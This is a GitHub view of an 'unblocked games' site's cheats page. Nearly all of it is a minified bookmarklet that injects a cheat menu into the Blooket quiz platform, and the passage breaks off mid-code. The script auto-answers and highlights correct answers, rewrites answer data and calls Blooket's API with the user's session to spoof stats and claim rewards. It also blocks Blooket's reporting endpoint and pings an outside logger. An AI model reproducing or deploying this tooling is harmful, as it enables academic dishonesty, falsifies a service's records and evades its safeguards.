-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcheats.html
66 lines (64 loc) · 684 KB
/
cheats.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Cheats | CybriaGames</title>
<meta name="description" content="🕹CybriaGames is an unblocked game site hosting over 100+ unblocked games where the danger of internet restrictions dosent apply.">
<meta name="keywords" content="games, game, gaming, unblocked games, ubg, unblocked game, cybriagames unblocked, cybria games, cyberia games, cybriagame, cyberiagames">
<meta name="author" content="CybriaTech">
<link rel="stylesheet" href="/style/cheats.css">
<link rel="stylesheet" href="/style/all.css">
<link rel="icon" href="/images/cybriagames/favicon-circle.png">
<script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-P8QQRX5QCQ"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-P8QQRX5QCQ');
</script>
</head>
<body>
<script src="/scripts/inject/header.js"></script>
<div class="spacet" style="margin-top: 3%;"></div>
<div id="main-area">
<div id="particles-js"></div>
<div id="space-particles"></div>
<p class="cheats-heading">All Cheats/Hacks (Drag to bookmarks bar)</p>
<div id="cheats-area">
<a class="cheat" href="javascript:/* All terms found in the following link apply: https://github.com/Blooket-Council/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");if(c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konzz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tgui","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/Blooket-Council/Blooket-Cheats","color: #ffd000; font-size: 1rem",""),"function call() { [native code] }"==window.fetch.call.toString()){const e=window.fetch.call;window.fetch.call=function(){if(!arguments[1].includes("s.blooket.com/rc"))return e.apply(this,arguments)}}const d=async()=>{if("function call() { [native code] }"==window.fetch.call.toString()){const z=window.fetch.call;window.fetch.call=function(){if(!arguments[1].includes("s.blooket.com/rc"))return z.apply(this,arguments)},(new Image).src="https://gui-logger.onrender.com/gui/1?"+Date.now()}function w(e,t,...o){var a=document.createElement(e);!function e(t,o){for(const a in o)"object"==typeof o[a]?e(t[a],o[a]):t[a]=o[a]}(a,t);for(const n of o)a.append(n);return a}let t="05konzWasHere";const a={data:null,setItem(e,n){return e.split(".").reduce((e,t,o,a)=>(++o==a.length&&(e[t]=n),e[t]),this.data),localStorage.setItem(t,JSON.stringify(this.data)),this.data},deleteItem(e){return e.split(".").reduce((e,t,o,a)=>(++o==a.length&&delete e[t],e[t]),this.data),localStorage.setItem(t,JSON.stringify(this.data)),this.data},setData(e){this.data=e,localStorage.setItem(t,JSON.stringify(this.data))}};try{a.data=JSON.parse(localStorage.getItem(t)||"{}");for(const I of["backgroundColor","cheatList","contentBackground","defaultButton","disabledButton","enabledButton","infoColor","inputColor","textColor"])a.data[I]&&(a.setItem("theme."+I,a.data[I]),a.deleteItem(I))}catch{a.setData({})}let o,n,r,l,s,e,i,v,C;const c=w("div",{style:{top:Math.max(10,window.innerHeight-600)/2+"px",left:Math.max(10,window.innerWidth-1e3)/2+"px",transform:`scale(${a.data.scale})`,position:"fixed",height:"80%",width:"80%",maxHeight:"600px",maxWidth:"1000px",zIndex:"999",display:"block"}},o=w("style",{id:"variables",innerHTML:`:root {--backgroundColor: ${a.data?.theme?.backgroundColor||"rgb(11, 194, 207)"};--infoColor: ${a.data?.theme?.infoColor||"#9a49aa"};--cheatList: ${a.data?.theme?.cheatList||"#9a49aa"};--defaultButton: ${a.data?.theme?.defaultButton||"#9a49aa"};--disabledButton: ${a.data?.theme?.disabledButton||"#A02626"};--enabledButton: ${a.data?.theme?.enabledButton||"#47A547"};--textColor: ${a.data?.theme?.textColor||"white"};--inputColor: ${a.data?.theme?.inputColor||"#7a039d"};--contentBackground: ${a.data?.theme?.contentBackground||"rgb(64, 17, 95)"};}`}),w("style",{innerHTML:'.alertList::-webkit-scrollbar{display:none;}.alertList{-ms-overflow-style: none;scrollbar-width: none;}.contentWrapper::-webkit-scrollbar{display:none;}.contentWrapper{-ms-overflow-style: none;scrollbar-width: none;}.cheatButton{position:relative;display:flex;flex-direction:row;align-items:center;min-height:40px;width:190px;margin:4px 0;padding-left:30px;box-sizing:border-box;cursor:pointer;user-select:none;text-decoration:none;border-top-right-radius:5px;border-bottom-right-radius:5px;background-color:transparent;color:var(--textColor);transition:.2s linear;font-size:20px;font-weight:400;font-family:Nunito;text-decoration-thickness:auto}.cheatButton:hover{background-color:var(--textColor);color:var(--defaultButton)}.cheatInput,select{min-width:200px;padding-block:5px;font-family:Nunito,sans-serif;font-weight:400;font-size:16px;background-color:var(--inputColor);box-shadow:inset 0 6px rgb(0 0 0 / 20%);margin:3px;color:var(--textColor)}.bigButton:hover{filter:brightness(110%);transform:translateY(-2px)}.bigButton:active{transform:translateY(2px)}.cheatList::-webkit-scrollbar{width:10px}.cheatList::-webkit-scrollbar-track{background:var(--cheatList)}.cheatList::-webkit-scrollbar-thumb{background:var(--cheatList);box-shadow: inset -10px 0 rgb(0 0 0 / 20%)}.cheatList::-webkit-scrollbar-thumb:hover{background:var(--cheatList); box-shadow: inset -10px 0 rgb(0 0 0 / 30%); }.scriptButton:hover{filter:brightness(120%)}.cheatInput{max-width:200px;border:none;border-radius:7px;caret-color:var(--textColor)}.cheatInput::placeholder{color:var(--textColor)}.cheatInput:focus,select:focus{outline:0}.cheatInput::-webkit-inner-spin-button,.cheatInput::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.cheatInput[type=number]{-moz-appearance:textfield}select{border:none;border-radius:7px;text-align:center}.scriptButton{align-items: center; box-sizing: border-box; display: flex; flex-direction: column; justify-content: center; margin: 10px; padding: 5px 5px 11px; position: relative; width: 250px; font-family: Nunito, sans-serif; font-weight: 400; color: var(--textColor); box-shadow: inset 0 -6px rgb(0 0 0 / 20%); border-radius: 7px; cursor: pointer; transition: filter .25s;}.tooltip::after {content: "";position: absolute;width: 10px;height: 10px;background-color: inherit;top: -5px;left: 50%;margin-left: -6px;transform: rotate(135deg)}'}),n=w("div",{style:{width:"100%",height:"100%",position:"relative",outline:"3px solid #3a3a3a",borderRadius:"15px",overflow:"hidden"}},w("div",{id:"background",style:{display:"block",top:"0",left:"0",height:"100%",overflowY:"hidden",overflowX:"hidden",position:"absolute",width:"100%",background:"var(--backgroundColor)",visibility:"visible"}},w("div",{id:"backgroundImage",style:{backgroundImage:"url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png)",display:"block",height:"200%",position:"absolute",width:"200%",top:"50%",left:"50%",backgroundPositionX:"-100px",backgroundPositionY:"-100px",backgroundSize:"550px",visibility:"visible",transform:"translate(-50%,-50%) rotate(15deg)",appearance:"none",opacity:"0.175"}})),l=w("div",{id:"controls",style:{display:"flex",alignItems:"center",justifyContent:"center",paddingBottom:"8px",paddingInline:"15px",position:"absolute",left:"220px",top:"0",visibility:"visible",zIndex:"5",height:"52px",width:"max-content",background:"var(--infoColor)",boxShadow:"inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)",borderBottomRightRadius:"10px",color:"var(--textColor)",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text"},innerText:([{ctrl:k,shift:d,alt:u,key:p},{ctrl:m,shift:h,alt:g,key:y}]=[a.data.hide||{ctrl:!0,key:"e"},a.data.close||{ctrl:!0,key:"x"}],`${[k&&"Ctrl",d&&"Shift",u&&"Alt",p&&p.toUpperCase()].filter(Boolean).join(" + ")} to hide | ${[m&&"Ctrl",h&&"Shift",g&&"Alt",y&&y.toUpperCase()].filter(Boolean).join(" + ")} for quick disable\nClick and drag here`),update:({ctrl:e,shift:t,alt:o,key:a}={ctrl:!0,key:"e"},{ctrl:n,shift:r,alt:s,key:i}={ctrl:!0,key:"x"})=>l.innerText=`${[e&&"Ctrl",t&&"Shift",o&&"Alt",a&&a.toUpperCase()].filter(Boolean).join(" + ")} to hide | ${[n&&"Ctrl",r&&"Shift",s&&"Alt",i&&i.toUpperCase()].filter(Boolean).join(" + ")} for quick disable\nClick and drag here`}),w("div",{id:"credits",style:{display:"flex",alignItems:"center",justifyContent:"center",paddingBottom:"8px",position:"absolute",right:"0",top:"0",visibility:"visible",zIndex:"5",height:"47px",width:"210px",background:"var(--infoColor)",boxShadow:"inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)",borderBottomLeftRadius:"10px",color:"var(--textColor)",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text"},innerHTML:"GitHub - 05Konzz",onclick:()=>window.open("https://github.com/Blooket-Council/Blooket-Cheats","_blank").focus()}),s=w("div",{id:"controlButtons",style:{display:"flex",alignItems:"center",justifyContent:"center",position:"absolute",right:"0",bottom:"0",visibility:"visible",zIndex:"5",height:"55px",width:"165px",background:"#none",borderLeft:"3px solid black",borderTop:"3px solid black",borderTopLeftRadius:"10px",color:"white",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text",overflow:"hidden",pointerEvents:"all"}},e=w("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"#00a0ff",border:"none",fontSize:"2rem",cursor:"move"},innerHTML:"✥"}),w("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"grey",border:"none",fontSize:"2rem",fontWeight:"bolder",cursor:"pointer"},innerHTML:"-",onclick:function(){let t=!1;return()=>{for(var e of[...n.children])e!=s&&(t?e.style.display=e.style._display:(e.style._display=e.style.display,e.style.display="none"));n.style.height=t?"100%":"55px",n.style.width=t?"100%":"165px",c.style.top=parseInt(c.style.top)+(c.offsetHeight-55)*(t?-1:1)+"px",c.style.left=parseInt(c.style.left)+(c.offsetWidth-165)*(t?-1:1)+"px",c.style.pointerEvents=t?"unset":"none",t=!t}}()}),w("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"red",border:"none",fontSize:"2rem",fontWeight:"bolder",cursor:"pointer"},innerHTML:"X",onclick:A})),r=w("div",{className:"cheatList",style:{overflowY:"scroll",background:"var(--cheatList)",boxShadow:"inset -10px 0 rgb(0 0 0 / 20%)",zIndex:"5",width:"220px",position:"absolute",top:"0",left:"0",height:"100%",fontFamily:"Titan One",color:"var(--textColor)",fontSize:"40px",textAlign:"center",paddingTop:"20px",userSelect:"none",padding:"20px 10px 20px 0",boxSizing:"border-box",display:"flex",flexDirection:"column"},innerHTML:'<span style="text-shadow: 1px 1px rgb(0 0 0 / 40%)">Cheats</span>'},w("a",{className:"bigButton",style:{cursor:"pointer",display:"block",fontFamily:"Titan One",margin:"20px auto 10px",position:"relative",transition:".25s",textDecoration:"none",userSelect:"none",visibility:"visible"},target:"_blank",href:"https://discord.gg/jHjGrrdXP6",innerHTML:`<div style="background: rgba(0,0,0,.25); border-radius: 5px; display: block; width: 100%; height: 100%; left: 0; top: 0; position: absolute; transform: translateY(2px); width: 100%; transition: transform .6s cubic-bezier(.3,.7,.4,1)"></div>\n <div style="background-color: rgb(11, 194, 207); filter: brightness(.7); position: absolute; top: 0; left: 0; width: 100%; height: 100%; border-radius: 5px;"></div>\n <div style="font-weight: 400; background-color: rgb(11, 194, 207); color: white; display: flex; flex-direction: row; align-items: center; justify-content: center; text-align: center; padding: 5px; border-radius: 5px; transform: translateY(-4px); transition: transform .6s cubic-bezier(.3,.7,.4,1)">\n <div style="font-family: Titan One, sans-serif; color: white; font-size: 26px; text-shadow: 2px 2px rgb(0 0 0 / 20%); height: 40px; padding: 0 15px; display: flex; flex-direction: row; align-items: center; justify-content: center">\n <svg style="filter: drop-shadow(2px 2px 0 rgb(0 0 0 / 20%))" xmlns="http://www.w3.org/2000/svg" width="35" height="35" fill="currentColor" viewBox="0 -1 21 16">\n <path d="M13.545 2.907a13.227 13.227 0 0 0-3.257-1.011.05.05 0 0 0-.052.025c-.141.25-.297.577-.406.833a12.19 12.19 0 0 0-3.658 0 8.258 8.258 0 0 0-.412-.833.051.051 0 0 0-.052-.025c-1.125.194-2.22.534-3.257 1.011a.041.041 0 0 0-.021.018C.356 6.024-.213 9.047.066 12.032c.001.014.01.028.021.037a13.276 13.276 0 0 0 3.995 2.02.05.05 0 0 0 .056-.019c.308-.42.582-.863.818-1.329a.05.05 0 0 0-.01-.059.051.051 0 0 0-.018-.011 8.875 8.875 0 0 1-1.248-.595.05.05 0 0 1-.02-.066.051.051 0 0 1 .015-.019c.084-.063.168-.129.248-.195a.05.05 0 0 1 .051-.007c2.619 1.196 5.454 1.196 8.041 0a.052.052 0 0 1 .053.007c.08.066.164.132.248.195a.051.051 0 0 1-.004.085 8.254 8.254 0 0 1-1.249.594.05.05 0 0 0-.03.03.052.052 0 0 0 .003.041c.24.465.515.909.817 1.329a.05.05 0 0 0 .056.019 13.235 13.235 0 0 0 4.001-2.02.049.049 0 0 0 .021-.037c.334-3.451-.559-6.449-2.366-9.106a.034.034 0 0 0-.02-.019Zm-8.198 7.307c-.789 0-1.438-.724-1.438-1.612 0-.889.637-1.613 1.438-1.613.807 0 1.45.73 1.438 1.613 0 .888-.637 1.612-1.438 1.612Zm5.316 0c-.788 0-1.438-.724-1.438-1.612 0-.889.637-1.613 1.438-1.613.807 0 1.451.73 1.438 1.613 0 .888-.631 1.612-1.438 1.612Z"/>\n </svg>\n Discord\n </div>\n </div>`})),w("div",{className:"contentWrapper",style:{position:"absolute",left:"220px",top:"70px",overflowY:"scroll",width:"calc(100% - 220px)",height:"calc(100% - 70px)",borderRadius:"7px"}},w("div",{id:"content",style:{position:"absolute",inset:"27px 50px 50px 50px"}},i=w("div",{className:"tooltip",style:{position:"absolute",top:"0",left:"0",backgroundColor:"black",height:"fit-content",maxWidth:"300px",zIndex:"5",borderRadius:"7.5px",color:"white",display:"flex",justifyContent:"center",alignItems:"center",padding:"5px",paddingInline:"15px",pointerEvents:"none",opacity:"0",textAlign:"center"},innerText:"description"}),v=w("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",flexDirection:"row",flexWrap:"wrap",justifyContent:"space-evenly",padding:"20px 5px 20px",position:"relative",width:"100%",fontFamily:"Nunito, sans-serif",fontWeight:"400",color:"var(--textColor)",background:"var(--contentBackground)",boxShadow:"inset 0 -6px rgb(0 0 0 / 20%)",borderRadius:"7px"}},C=w("div",{className:"headerText",style:{boxSizing:"border-box",display:"block",height:"45px",left:"-10px",padding:"4px 4px 8px",position:"absolute",top:"-28px",backgroundColor:"#ef7426",boxShadow:"0 4px rgb(0 0 0 / 20%), inset 0 -4px rgb(0 0 0 / 20%)",borderRadius:"7px"}},w("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",height:"100%",justifyContent:"center",padding:"0 15px",width:"100%",fontFamily:"Titan One, sans-serif",fontSize:"26px",fontWeight:"400",textShadow:"-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464",color:"white",background:"linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)",borderRadius:"5px"}})))))));var d,u,p,m,h,g,y;function f(e,t,o,a){const n=w("div",{className:"cheatButton",innerHTML:("string"==typeof t?`<img style="height: 30px; margin-right: 5px" src="${t}">`:t||"")+e,onclick:()=>b(n.innerText,o,a)});return r.appendChild(n),n.onclick}async function b(e,c,t){v.innerHTML="",C.firstChild.innerText=e+(t?"":" Cheats"),v.append(C);for(let l=0;l<c.length;l++){let{name:e,description:t,type:o,inputs:a,enabled:n,run:r,element:s}=c[l],i="toggle"==o;if(!s){const y=w("div",{className:"scriptButton",style:{background:i?n?"var(--enabledButton)":"var(--disabledButton)":"var(--defaultButton)"}},w("div",{className:"cheatName",innerHTML:e}));if(y.dataset.description=t,y.onclick=function({target:e,key:t}){(e==y||e.classList.contains("cheatName")||"Enter"==t&&e.classList.contains("cheatInput"))&&(t=[...y.children].slice(1),r.apply(this,t.map(e=>"number"==e.type?parseInt("0"+e.value):"SELECT"==e.nodeName?JSON.parse(e.value):e.data||e.value)),i)&&(y.style.background=this.enabled?"var(--enabledButton)":"var(--disabledButton)")}.bind(c[l]),a?.length)for(let t=0;t<a.length;t++){var{name:d,type:u,options:p,min:m,max:h,value:g}=a[t];let e;try{e=await("function"==typeof p?p?.():p)}catch{e=[]}if("options"==u&&e?.length){const f=document.createElement("select");e.forEach(e=>{var t=document.createElement("option");t.value=JSON.stringify(null!=e?.value?e.value:e),t.innerHTML=e?.name||e,f.appendChild(t)}),y.appendChild(f)}else if("function"==u){const b=document.createElement("input");b.classList.add("cheatInput"),b.placeholder=d,b.style.textAlign="center";let e=!(b.readOnly=!0);b.onclick=async()=>{e||(b.value="Waiting for input...",e=!0,b.data=await a[t].function(e=>b.value=e+"..."),e=!1,b.value=b.value.slice(0,-3))},y.appendChild(b)}else{p=document.createElement("input");p.classList.add("cheatInput"),"number"==u&&(p.type="number",p.min=m,p.max=h,p.value=g||(null!=m?m:0)),p.placeholder=d,p.style.textAlign="center",i&&(p.style.backgroundColor="#0003"),p.onkeyup=y.onclick,y.appendChild(p)}}c[l].element=y}v.appendChild(c[l].element)}}document.body.appendChild(c);var k=document.createElement("iframe");document.body.append(k);const x=k.contentWindow.alert.bind(window),M=k.contentWindow.prompt.bind(window),S=k.contentWindow.confirm.bind(window);function T(){return Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode}k.remove();const N={global:[{name:"Auto Answer",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=T(),a=e.state.question||e.props.client.question;if("typing"!=e.state.question.qType)if("feedback"==e.state.stage||e.state.feedback)document.querySelector("[class*='feedback'], [id*='feedback']").firstChild.click();else{let o;for(o=0;o<a.answers.length;o++){let t=!1;for(let e=0;e<a.correctAnswers.length;e++)if(a.answers[o]==a.correctAnswers[e]){t=!0;break}if(t)break}document.querySelectorAll("[class*='answerContainer']")[o].click()}else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(a.answers[0])},50))}},{name:"Highlight Answers",description:"Toggles highlight answers on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=T(),o=e.state.question||e.props.client.question;let a=0;for(;a<o.answers.length;){let t=!1;for(let e=0;e<o.correctAnswers.length;e++)if(o.answers[a]==o.correctAnswers[e]){t=!0;break}a++,document.querySelector("[class*='answersHolder'] :nth-child("+a+") > div").style.backgroundColor=t?"rgb(0, 207, 119)":"rgb(189, 15, 38)"}},50))}},{name:"Subtle Highlight Answers",description:"Toggles subtle highlight answers on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=T(),o=e.state.question||e.props.client.question;let a=0;for(;a<o.answers.length;){let e=0,t=!1;for(;e<o.correctAnswers.length;){if(o.answers[a]==o.correctAnswers[e]){t=!0;break}e++}a++,t&&(document.querySelector("[class*='answersHolder'] :nth-child("+a+") > div").style.boxShadow="unset")}},50))}},{name:"Percent Auto Answer",description:"Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",inputs:[{name:"Target Grade",type:"number"}],type:"toggle",enabled:!1,data:null,run:function(e){if(this.enabled)this.enabled=!1,clearInterval(this.data),this.data=null;else{this.enabled=!0;const l=T();this.data=setInterval(o=>{try{var a=l.state.question||l.props.client.question;if("feedback"==l.state.stage||l.state.feedback)return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();if(document.querySelector("[class*='answerContainer']")||document.querySelector("[class*='typingAnswerWrapper']")){let e=0,t=0;for(var n in l.corrects)e+=l.corrects[n];for(var r in l.incorrects)t+=l.incorrects[r];var s=0==(t+=e)||Math.abs(e/(t+1)-o)>=Math.abs((e+1)/(t+1)-o);if("typing"!=l.state.question.qType){var i=document.querySelectorAll("[class*='answerContainer']");for(let e=0;e<i.length;e++)if(s==a.correctAnswers.includes(a.answers[e]))return i[e]?.click?.();i[0].click()}else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(s?a.answers[0]:Math.random().toString(36).substring(2))}}catch{}},100,(e??100)/100)}}},{name:"Auto Answer",description:"Click the correct answer for you",run:function(){var e=T(),a=e.state.question||e.props.client.question;if("typing"!=e.state.question.qType)if("feedback"==e.state.stage||e.state.feedback)document.querySelector("[class*='feedback'], [id*='feedback']").firstChild.click();else{let o;for(o=0;o<a.answers.length;o++){let t=!1;for(let e=0;e<a.correctAnswers.length;e++)if(a.answers[o]==a.correctAnswers[e]){t=!0;break}if(t)break}document.querySelectorAll("[class*='answerContainer']")[o].click()}else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(a.answers[0])}},{name:"Highlight Answers",description:"Colors answers to be red or green highlighting the correct ones",run:function(){var e=T(),o=e.state.question||e.props.client.question;let a=0;for(;a<o.answers.length;){let t=!1;for(let e=0;e<o.correctAnswers.length;e++)if(o.answers[a]==o.correctAnswers[e]){t=!0;break}a++,document.querySelector("[class*='answersHolder'] :nth-child("+a+") > div").style.backgroundColor=t?"rgb(0, 207, 119)":"rgb(189, 15, 38)"}}},{name:"Spam Buy Blooks",description:"Opens a box an amount of times",inputs:[{name:"Box",type:"options",options:()=>Array.from(document.querySelectorAll("[class*='packsWrapper'] > div")).reduce((e,t)=>(t.querySelector("[class*='blookContainer'] > img")||e.push(t.querySelector("[class*='packImgContainer'] > img").alt),e),[])},{name:"Amount",type:"number"},{name:"Show Unlocks",type:"options",options:[{name:"Show Unlocks",value:!0},{name:"Don't Show Unlocks",value:!1}]}],run:async function(t,e,o){if(window.location.pathname.startsWith("/market")){var a=T(),n=Array.prototype.reduce.call(document.querySelectorAll("[class*='packsWrapper'] > div"),(e,t)=>(t.querySelector("[class*='blookContainer'] > img")||(e[t.querySelector("[class*='packImgContainer'] > img").alt]=parseInt(t.querySelector("[class*='packBottom']").textContent)),e),{})[t=t.split(" ").map(e=>e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()).join(" ")];if(!n)return x("I couldn't find that box!");n=Math.floor(a.state.tokens/n);if(n<=0)return x("You do not have enough tokens!");var r=Math.min(n,e||0),s={},n=Date.now();for(let e=0;e<r;e++)await a.buyPack(!0,t),s[a.state.unlockedBlook]||=0,s[a.state.unlockedBlook]++,a.setState({canOpen:!0,currentPack:"",opening:o,doneOpening:o,openPack:o}),clearTimeout(a.canOpenTimeout);await new Promise(e=>setTimeout(e)),x(`(${Date.now()-n}ms) Results:\n`+Object.entries(s).map(([e,t])=>` ${e} `+t).join(`\n`))}else x("This can only be ran in the Market page.")}},{name:"Host Any Gamemode",description:"Change the selected gamemode on the host settings page",inputs:[{name:"Gamemode",type:"options",options:["Racing","Classic","Factory","Cafe","Defense2","Defense","Royale","Gold","Candy","Brawl","Hack","Pirate","Fish","Dino","Toy","Rush"]}],run:function(e){if("/host/settings"!=location.pathname)return x("Run this script on the host settings page");T().setState({settings:{type:e}})}},{name:"Change Blook Ingame",description:"Changes your blook",inputs:[{name:"Blook (case sensitive)",type:"string"}],run:function(e){var t=T()["props"];t.liveGameController.setVal({path:`c/${t.client.name}/b`,val:t.client.blook=e})}},{name:"Get Daily Rewards",description:"Gets max daily tokens and xp",run:async function(){var e,t,o;window.location.href.includes("play.blooket.com")?(e=["60101da869e8c70013913b59","625db660c6842334835cb4c6","60268f8861bd520016eae038","611e6c804abdf900668699e3","60ba5ff6077eb600221b7145","642467af9b704783215c1f1b","605bd360e35779001bf57c5e","6234cc7add097ff1c9cff3bd","600b1491d42a140004d5215a","5db75fa3f1fa190017b61c0c","5fac96fe2ca0da00042b018f","600b14d8d42a140004d52165","5f88953cdb209e00046522c7","600b153ad42a140004d52172","5fe260e72a505b00040e2a11","5fe3d085a529560004cd3076","5f5fc017aee59500041a1456","608b0a5863c4f2001eed43f4","5fad491512c8620004918ace","5fc91a9b4ea2e200046bd49a","5c5d06a7deebc70017245da7","5ff767051b68750004a6fd21","5fdcacc85d465a0004b021b9","5fb7eea20bd44300045ba495"][Math.floor(24*Math.random())],t=(e,t)=>Math.floor(Math.random()*(t-e+1))+e,o=(await fetch("https://play.blooket.com/api/playersessions/solo",{body:JSON.stringify({gameMode:"Factory",questionSetId:e}),method:"POST",credentials:"include"}).then(e=>e.json()).catch(()=>x("There was an error creating a solo game.")))["t"],await fetch("https://play.blooket.com/api/playersessions/landings",{body:JSON.stringify({t:o}),method:"POST",credentials:"include"}).catch(()=>x("There was an error when landing.")),await fetch("https://play.blooket.com/api/playersessions/questions?t="+o,{credentials:"include"}),await fetch("https://play.blooket.com/api/gamequestionsets?gameId="+e,{credentials:"include"}),await fetch("https://play.blooket.com/api/users/factorystats",{body:JSON.stringify({t:o,place:1,cash:t(1e7,1e8),playersDefeated:0,correctAnswers:t(500,2e3),upgrades:t(250,750),blookUsed:T().props.user.data.blook.name,nameUsed:"You",mode:"Time-Solo"}),method:"PUT",credentials:"include"}).catch(()=>x("There was an error when spoofing stats.")),await fetch("https://play.blooket.com/api/users/add-rewards",{body:JSON.stringify({t:o,addedTokens:500,addedXp:300}),method:"PUT",credentials:"include"}).then(e=>e.json()).then(({dailyReward:e})=>x(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(()=>x("There was an error when adding rewards."))):(x("This cheat only works on play.blooket.com, opening a new tab."),window.open("https://play.blooket.com/"))}},{name:"Use Any Blook",description:"Allows you to play as any blook",data:null,getBlooks(t,e){if(!this.data?.Black){t=t?"keys":"entries";const o=Object[t],a=this;Object[t]=function(e){return(e.Chick?(a.data=e,Object[t]=o):o).call(this,e)},e.render()}},run:function(){const o=T();var e=window.location.pathname.startsWith("/play/lobby");return!e&&window.location.pathname.startsWith("/blooks")||e?(this.getBlooks(e,o),e?o.setState({unlocks:Object.keys(this.data)}):void o.setState({blookData:Object.keys(this.data).reduce((e,t)=>(e[t]=o.state.blookData[t]||1,e),{}),allSets:Object.values(this.data).reduce((e,t)=>t.set&&e.includes(t.set)?e:e.concat(t.set),[])})):x("This only works in lobbies or the dashboard blooks page.")}},{name:"Every Answer Correct",description:"Sets every answer to be correct",run:function(){var t=T();for(let e=0;e<t.freeQuestions.length;e++)t.freeQuestions[e].correctAnswers=t.freeQuestions[e].answers,t.questions[e].correctAnswers=t.questions[e].answers,t.props.client.questions[e].correctAnswers=t.questions[e].answers;try{t.forceUpdate()}catch{}}},{name:"Subtle Highlight Answers",description:"Removes the shadow from correct answers",run:function(){var e=T(),o=e.state.question||e.props.client.question;let a=0;for(;a<o.answers.length;){let e=0,t=!1;for(;e<o.correctAnswers.length;){if(o.answers[a]==o.correctAnswers[e]){t=!0;break}e++}a++,t&&(document.querySelector("[class*='answersHolder'] :nth-child("+a+") > div").style.boxShadow="unset")}}},{name:"Remove Name Limit",description:"Sets the name limit to 120, which is the actual max name length limit",run:function(){document.querySelector('input[class*="nameInput"]').maxLength=120,x("Removed name length limit")}},{name:"Remove Random Name",description:"Allows you to put a custom name",run:function(){T().setState({isRandom:!1,client:{name:""}}),document.querySelector('[class*="nameInput"]')?.focus?.()}},{name:"Sell Duplicate Blooks",description:"Sell all duplicate blooks leaving you with 1 each",run:async function(){if(window.location.pathname.startsWith("/blooks")){if(S("Are you sure you want to sell your dupes? (Legendaries and rarer will not be sold)")){var o=T();let e=Date.now(),t="";for(const a in o.state.blookData)if(1<o.state.blookData[a]){if(o.setState({blook:a,numToSell:o.state.blookData[a]-1}),!["Uncommon","Rare","Epic"].includes(document.querySelector("[class*='highlightedRarity']").innerText.trim()))continue;t+=` ${a} ${o.state.blookData[a]-1}\n`,await o.sellBlook({preventDefault:()=>{}},!0)}x(`(${Date.now()-e}ms) Results:\n`+t.trim())}}else x("This can only be ran in the Blooks page.")}}],voyage:[{name:"Heist ESP",description:"Shows you what's under each chest during a heist",type:"toggle",enabled:!1,data:null,imgs:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=T();if("heist"==e.state.stage){null==this.imgs&&(this.imgs=Array.prototype.map.call(Array.prototype.slice.call(document.querySelector("[class*=prizesList]").children,1,4),e=>e.querySelector("img").src));const n=Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.memoizedState;for(const t of document.querySelectorAll("[class*=boxContent] > div"))t.remove();const r=Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.next.next.memoizedState;Array.prototype.forEach.call(document.querySelector("[class*=chestsWrapper]").children,(e,t)=>{const o=e.firstChild.firstChild;if(r.includes(t))return o.style.opacity="";o.style.opacity="0.5";let a=document.createElement("div");a.innerHTML="<img src='"+this.imgs[2-n[t]]+"' style='max-width: 75%; max-height: 